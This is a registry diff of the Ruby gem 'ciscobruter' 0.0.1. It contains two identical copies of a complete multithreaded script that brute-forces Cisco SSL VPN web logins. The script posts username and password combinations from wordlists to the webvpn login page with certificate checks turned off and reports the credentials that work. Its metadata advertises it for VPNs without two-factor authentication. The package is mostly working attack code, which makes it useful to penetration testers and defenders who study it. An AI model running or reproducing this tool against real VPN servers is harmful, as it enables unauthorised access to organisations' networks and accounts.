ciscobruter 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/bin/ciscobruter +114 -0
- data/lib/ciscobruter.rb +114 -0
- metadata +87 -0
checksums.yaml
ADDED
@@ -0,0 +1,7 @@
|
|
1
|
+
---
|
2
|
+
SHA256:
|
3
|
+
metadata.gz: 8d850b5503f26cdf248c93001be00b7f9cb0e09b566a66e525d5127c0ad08e69
|
4
|
+
data.tar.gz: 070702060b6519eb046519894fe07e5d4a5b137744ead08e02f8e5d1f75e6b5a
|
5
|
+
SHA512:
|
6
|
+
metadata.gz: c0e96ef567ab4d99e222073461f461d8ffc7aaf520a5560dbf93ed2e743682fe6ff54ce7d4c4b9b0c04d5c8b7d9960189b74daa892bbd83e4cee95bbc008646c
|
7
|
+
data.tar.gz: 4b7eef8b730f7de5136105cc4224ebeeb20fd1becb19a5f92c9b41bba242b48f76a6039b9f3a723302bfb240bd9f02352dbd6cb70de869c8a7920ef91dd89ffe
|
data/bin/ciscobruter
ADDED
@@ -0,0 +1,114 @@
|
|
1
|
+
#!/usr/bin/env ruby
|
2
|
+
require 'net/https'
|
3
|
+
require 'optparse'
|
4
|
+
require 'celluloid/current'
|
5
|
+
require 'thread/pool'
|
6
|
+
require 'ruby-progressbar'
|
7
|
+
include Celluloid::Internals::Logger
|
8
|
+
|
9
|
+
|
10
|
+
options = {}
|
11
|
+
args = OptionParser.new do |opts|
|
12
|
+
opts.banner = "ciscobruter.rb VERSION: 1.0.0 - UPDATED: 01/20/2016\r\n\r\n"
|
13
|
+
opts.on("-u", "--username [Username]", "\tUsername to guess passwords against") { |username| options[:usernames] = [username] }
|
14
|
+
opts.on("-p", "--password [Password]", "\tPassword to try with username") { |password| options[:passwords] = [password] }
|
15
|
+
opts.on("-U", "--user-file [File Path]", "\tFile containing list of usernames") { |usernames| options[:usernames] = File.open(usernames, 'r').read.split("\n") }
|
16
|
+
opts.on("-P", "--pass-file [File Path]", "\tFile containing list of passwords") { |passwords| options[:passwords] = File.open(passwords, 'r').read.split("\n") }
|
17
|
+
opts.on("-t", "--target [URL]", "\tTarget VPN server example: https://vpn.target.com") { |target| options[:target] = target }
|
18
|
+
opts.on("-l", "--login-path [Login Path]", "\tPath to login page. Default: /+webvpn+/index.html") { |path| options[:path] = path }
|
19
|
+
opts.on("-g", "--group [Group Name]", "\tGroup name for VPN. Default: No Group") { |group| options[:group] = group }
|
20
|
+
opts.on("-v", "--verbose", "\tEnables verbose output\r\n\r\n") { |v| options[:verbose] = true }
|
21
|
+
end
|
22
|
+
|
23
|
+
|
24
|
+
begin
|
25
|
+
args.parse!(ARGV)
|
26
|
+
mandatory = [:target]
|
27
|
+
missing = mandatory.select{ |param| options[param].nil? }
|
28
|
+
unless missing.empty?
|
29
|
+
warn "Error. Missing required options: #{missing.join(', ')}"
|
30
|
+
puts args
|
31
|
+
exit!
|
32
|
+
end
|
33
|
+
rescue OptionParser::InvalidOption, OptionParser::MissingArgument
|
34
|
+
puts $!.to_s
|
35
|
+
exit!
|
36
|
+
end
|
37
|
+
|
38
|
+
|
39
|
+
class Ciscobruter
|
40
|
+
|
41
|
+
attr_accessor :uri, :http, :headers, :verbose, :path, :group
|
42
|
+
|
43
|
+
def initialize(target, verbose=nil, login=nil, group=nil)
|
44
|
+
self.uri = URI.parse(target)
|
45
|
+
self.path = set_path(login)
|
46
|
+
self.group = group
|
47
|
+
self.http = setup_http
|
48
|
+
self.headers = { 'Cookie' => 'webvpnlogin=1; webvpnLang=en' }
|
49
|
+
self.verbose = verbose
|
50
|
+
end
|
51
|
+
|
52
|
+
def try_credentials(username, password)
|
53
|
+
info "Trying username: #{username} and password: #{password} on #{uri.host}" if verbose
|
54
|
+
post = "username=#{username}&password=#{password}"
|
55
|
+
|
56
|
+
if group != nil
|
57
|
+
post += "&group_list=#{group}"
|
58
|
+
end
|
59
|
+
|
60
|
+
response = http.post(path, post, headers)
|
61
|
+
if response.code == "200"
|
62
|
+
if validate_credentials(response.body)
|
63
|
+
report_creds(username, password)
|
64
|
+
end
|
65
|
+
elsif response.code == "302"
|
66
|
+
warn "Error. #{path} not valid."
|
67
|
+
end
|
68
|
+
return
|
69
|
+
end
|
70
|
+
|
71
|
+
private
|
72
|
+
|
73
|
+
def set_path(login)
|
74
|
+
return login.nil? ? '/+webvpn+/index.html' : login
|
75
|
+
end
|
76
|
+
|
77
|
+
def setup_http
|
78
|
+
http = Net::HTTP.new(uri.host, uri.port)
|
79
|
+
http.use_ssl = true
|
80
|
+
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
81
|
+
return http
|
82
|
+
end
|
83
|
+
|
84
|
+
def validate_credentials(html)
|
85
|
+
return html !~ /document.location.replace/
|
86
|
+
end
|
87
|
+
|
88
|
+
def report_creds(user, pass)
|
89
|
+
warn "CREDENTIALS FOUND! username: #{user} password: #{pass}"
|
90
|
+
end
|
91
|
+
|
92
|
+
end
|
93
|
+
|
94
|
+
|
95
|
+
def main(options, total)
|
96
|
+
threads = Thread.pool(100)
|
97
|
+
info "Trying #{total} username/password combinations..."
|
98
|
+
options[:usernames].each do |username|
|
99
|
+
options[:passwords].each do |password|
|
100
|
+
threads.process {
|
101
|
+
bruter = Ciscobruter.new(options[:target], options[:verbose], options[:path], options[:group])
|
102
|
+
bruter.try_credentials(username.chomp, password.chomp)
|
103
|
+
PROGRESS.increment
|
104
|
+
}
|
105
|
+
end
|
106
|
+
end
|
107
|
+
threads.shutdown
|
108
|
+
end
|
109
|
+
|
110
|
+
|
111
|
+
total = options[:usernames].count * options[:passwords].count
|
112
|
+
PROGRESS = ProgressBar.create(format: "%a %e %P% Processed: %c from %C", total: total)
|
113
|
+
main(options, total)
|
114
|
+
|
data/lib/ciscobruter.rb
ADDED
@@ -0,0 +1,114 @@
|
|
1
|
+
#!/usr/bin/env ruby
|
2
|
+
require 'net/https'
|
3
|
+
require 'optparse'
|
4
|
+
require 'celluloid/current'
|
5
|
+
require 'thread/pool'
|
6
|
+
require 'ruby-progressbar'
|
7
|
+
include Celluloid::Internals::Logger
|
8
|
+
|
9
|
+
|
10
|
+
options = {}
|
11
|
+
args = OptionParser.new do |opts|
|
12
|
+
opts.banner = "ciscobruter.rb VERSION: 1.0.0 - UPDATED: 01/20/2016\r\n\r\n"
|
13
|
+
opts.on("-u", "--username [Username]", "\tUsername to guess passwords against") { |username| options[:usernames] = [username] }
|
14
|
+
opts.on("-p", "--password [Password]", "\tPassword to try with username") { |password| options[:passwords] = [password] }
|
15
|
+
opts.on("-U", "--user-file [File Path]", "\tFile containing list of usernames") { |usernames| options[:usernames] = File.open(usernames, 'r').read.split("\n") }
|
16
|
+
opts.on("-P", "--pass-file [File Path]", "\tFile containing list of passwords") { |passwords| options[:passwords] = File.open(passwords, 'r').read.split("\n") }
|
17
|
+
opts.on("-t", "--target [URL]", "\tTarget VPN server example: https://vpn.target.com") { |target| options[:target] = target }
|
18
|
+
opts.on("-l", "--login-path [Login Path]", "\tPath to login page. Default: /+webvpn+/index.html") { |path| options[:path] = path }
|
19
|
+
opts.on("-g", "--group [Group Name]", "\tGroup name for VPN. Default: No Group") { |group| options[:group] = group }
|
20
|
+
opts.on("-v", "--verbose", "\tEnables verbose output\r\n\r\n") { |v| options[:verbose] = true }
|
21
|
+
end
|
22
|
+
|
23
|
+
|
24
|
+
begin
|
25
|
+
args.parse!(ARGV)
|
26
|
+
mandatory = [:target]
|
27
|
+
missing = mandatory.select{ |param| options[param].nil? }
|
28
|
+
unless missing.empty?
|
29
|
+
warn "Error. Missing required options: #{missing.join(', ')}"
|
30
|
+
puts args
|
31
|
+
exit!
|
32
|
+
end
|
33
|
+
rescue OptionParser::InvalidOption, OptionParser::MissingArgument
|
34
|
+
puts $!.to_s
|
35
|
+
exit!
|
36
|
+
end
|
37
|
+
|
38
|
+
|
39
|
+
class Ciscobruter
|
40
|
+
|
41
|
+
attr_accessor :uri, :http, :headers, :verbose, :path, :group
|
42
|
+
|
43
|
+
def initialize(target, verbose=nil, login=nil, group=nil)
|
44
|
+
self.uri = URI.parse(target)
|
45
|
+
self.path = set_path(login)
|
46
|
+
self.group = group
|
47
|
+
self.http = setup_http
|
48
|
+
self.headers = { 'Cookie' => 'webvpnlogin=1; webvpnLang=en' }
|
49
|
+
self.verbose = verbose
|
50
|
+
end
|
51
|
+
|
52
|
+
def try_credentials(username, password)
|
53
|
+
info "Trying username: #{username} and password: #{password} on #{uri.host}" if verbose
|
54
|
+
post = "username=#{username}&password=#{password}"
|
55
|
+
|
56
|
+
if group != nil
|
57
|
+
post += "&group_list=#{group}"
|
58
|
+
end
|
59
|
+
|
60
|
+
response = http.post(path, post, headers)
|
61
|
+
if response.code == "200"
|
62
|
+
if validate_credentials(response.body)
|
63
|
+
report_creds(username, password)
|
64
|
+
end
|
65
|
+
elsif response.code == "302"
|
66
|
+
warn "Error. #{path} not valid."
|
67
|
+
end
|
68
|
+
return
|
69
|
+
end
|
70
|
+
|
71
|
+
private
|
72
|
+
|
73
|
+
def set_path(login)
|
74
|
+
return login.nil? ? '/+webvpn+/index.html' : login
|
75
|
+
end
|
76
|
+
|
77
|
+
def setup_http
|
78
|
+
http = Net::HTTP.new(uri.host, uri.port)
|
79
|
+
http.use_ssl = true
|
80
|
+
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
81
|
+
return http
|
82
|
+
end
|
83
|
+
|
84
|
+
def validate_credentials(html)
|
85
|
+
return html !~ /document.location.replace/
|
86
|
+
end
|
87
|
+
|
88
|
+
def report_creds(user, pass)
|
89
|
+
warn "CREDENTIALS FOUND! username: #{user} password: #{pass}"
|
90
|
+
end
|
91
|
+
|
92
|
+
end
|
93
|
+
|
94
|
+
|
95
|
+
def main(options, total)
|
96
|
+
threads = Thread.pool(100)
|
97
|
+
info "Trying #{total} username/password combinations..."
|
98
|
+
options[:usernames].each do |username|
|
99
|
+
options[:passwords].each do |password|
|
100
|
+
threads.process {
|
101
|
+
bruter = Ciscobruter.new(options[:target], options[:verbose], options[:path], options[:group])
|
102
|
+
bruter.try_credentials(username.chomp, password.chomp)
|
103
|
+
PROGRESS.increment
|
104
|
+
}
|
105
|
+
end
|
106
|
+
end
|
107
|
+
threads.shutdown
|
108
|
+
end
|
109
|
+
|
110
|
+
|
111
|
+
total = options[:usernames].count * options[:passwords].count
|
112
|
+
PROGRESS = ProgressBar.create(format: "%a %e %P% Processed: %c from %C", total: total)
|
113
|
+
main(options, total)
|
114
|
+
|
metadata
ADDED
@@ -0,0 +1,87 @@
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
2
|
+
name: ciscobruter
|
3
|
+
version: !ruby/object:Gem::Version
|
4
|
+
version: 0.0.1
|
5
|
+
platform: ruby
|
6
|
+
authors:
|
7
|
+
- Royce Davis
|
8
|
+
autorequire:
|
9
|
+
bindir: bin
|
10
|
+
cert_chain: []
|
11
|
+
date: 2020-03-05 00:00:00.000000000 Z
|
12
|
+
dependencies:
|
13
|
+
- !ruby/object:Gem::Dependency
|
14
|
+
name: thread
|
15
|
+
requirement: !ruby/object:Gem::Requirement
|
16
|
+
requirements:
|
17
|
+
- - '='
|
18
|
+
- !ruby/object:Gem::Version
|
19
|
+
version: 0.2.2
|
20
|
+
type: :runtime
|
21
|
+
prerelease: false
|
22
|
+
version_requirements: !ruby/object:Gem::Requirement
|
23
|
+
requirements:
|
24
|
+
- - '='
|
25
|
+
- !ruby/object:Gem::Version
|
26
|
+
version: 0.2.2
|
27
|
+
- !ruby/object:Gem::Dependency
|
28
|
+
name: celluloid
|
29
|
+
requirement: !ruby/object:Gem::Requirement
|
30
|
+
requirements:
|
31
|
+
- - '='
|
32
|
+
- !ruby/object:Gem::Version
|
33
|
+
version: 0.17.4
|
34
|
+
type: :runtime
|
35
|
+
prerelease: false
|
36
|
+
version_requirements: !ruby/object:Gem::Requirement
|
37
|
+
requirements:
|
38
|
+
- - '='
|
39
|
+
- !ruby/object:Gem::Version
|
40
|
+
version: 0.17.4
|
41
|
+
- !ruby/object:Gem::Dependency
|
42
|
+
name: ruby-progressbar
|
43
|
+
requirement: !ruby/object:Gem::Requirement
|
44
|
+
requirements:
|
45
|
+
- - '='
|
46
|
+
- !ruby/object:Gem::Version
|
47
|
+
version: 1.10.1
|
48
|
+
type: :runtime
|
49
|
+
prerelease: false
|
50
|
+
version_requirements: !ruby/object:Gem::Requirement
|
51
|
+
requirements:
|
52
|
+
- - '='
|
53
|
+
- !ruby/object:Gem::Version
|
54
|
+
version: 1.10.1
|
55
|
+
description: Brute force Cisco SSL VPN's that don't use 2-factor authentication
|
56
|
+
email: royce@pentestgeek.com
|
57
|
+
executables:
|
58
|
+
- ciscobruter
|
59
|
+
extensions: []
|
60
|
+
extra_rdoc_files: []
|
61
|
+
files:
|
62
|
+
- bin/ciscobruter
|
63
|
+
- lib/ciscobruter.rb
|
64
|
+
homepage: https://rubygems.org/gems/ciscobruter
|
65
|
+
licenses:
|
66
|
+
- MIT
|
67
|
+
metadata: {}
|
68
|
+
post_install_message:
|
69
|
+
rdoc_options: []
|
70
|
+
require_paths:
|
71
|
+
- lib
|
72
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
73
|
+
requirements:
|
74
|
+
- - ">="
|
75
|
+
- !ruby/object:Gem::Version
|
76
|
+
version: '0'
|
77
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
78
|
+
requirements:
|
79
|
+
- - ">="
|
80
|
+
- !ruby/object:Gem::Version
|
81
|
+
version: '0'
|
82
|
+
requirements: []
|
83
|
+
rubygems_version: 3.0.3
|
84
|
+
signing_key:
|
85
|
+
specification_version: 4
|
86
|
+
summary: Ciscobruter!
|
87
|
+
test_files: []
|